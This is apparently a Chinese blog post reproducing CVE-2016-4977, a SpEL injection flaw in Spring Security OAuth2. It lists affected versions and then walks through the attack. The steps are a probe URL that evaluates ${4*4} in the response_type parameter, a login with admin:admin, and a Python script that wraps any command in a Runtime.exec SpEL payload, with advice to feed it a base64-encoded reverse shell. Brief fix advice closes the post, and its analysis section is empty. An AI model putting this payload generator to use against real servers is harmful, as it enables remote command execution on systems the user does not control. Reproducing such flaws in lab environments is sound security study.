发布于 

CVE-2016-4977(Spring Security Oauth2 远程命令执行)

1. 漏洞描述

这个漏洞的触发点也是对用户传的参数的递归解析,从而导致SpEL 注入,Springboot 的修复方法是创建一个NonRecursive 类,使解析函数不进行递归。而SpringSecurityOauth 的修复方法则是在前缀${前生成一个六位的字符串,只有六位字符串与之相同才会对其作为表达式进行解析。然而如果请求足够多,这种补丁也是会失效的。在其使用 whitelabel views 来处理错误时,由于使用了Springs Expression Language (SpEL),攻击者在被授权的情况下可以通过构造恶意参数来远程执行命令。

2. 影响版本

  • Spring Security OAuth2 2.3 to 2.3.2
  • Spring Security OAuth2 2.2 to 2.2.1
  • Spring Security Oauth2 2.1 to 2.1.1
  • Spring Security Oauth2 2.0.0 to 2.0.9
  • Spring Security Oauth2 1.0.0 to 1.0.5

3.漏洞复现

3.1 进入特征页

1
http://your-ip:8080/oauth/authorize?response_type=${4*4}&client_id=acme&scope=openid&redirect_uri=http://test

首先需要填写用户名和密码,我们这里填入admin:admin即可。

image-20221021221653172

3.2 查看SpEl表达式是否成立

说明支持SpEl表达式解析。

image-20221021221751069

3.3 POC生成Payload

1
2
3
4
5
6
7
8
9
10
11
12
#!/usr/bin/env python

message = input('Enter message to encode:')

poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0])

for ch in message[1:]:
poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch)

poc += ')}'

print(poc)

启动后输入自己base64加密过的反弹Shell即可。

image-20221021222924692

3.4 加入请求的SpEl处

1
http://your-ip:8080/oauth/authorize?response_type=${此处内容}&client_id=acme&scope=openid&redirect_uri=http://test

3.5 结果

image-20221021223341840

image-20221021223416352

4. 漏洞分析

5. 修复建议

  1. 禁用环境中的Whitelabel错误页
  2. 升级最新版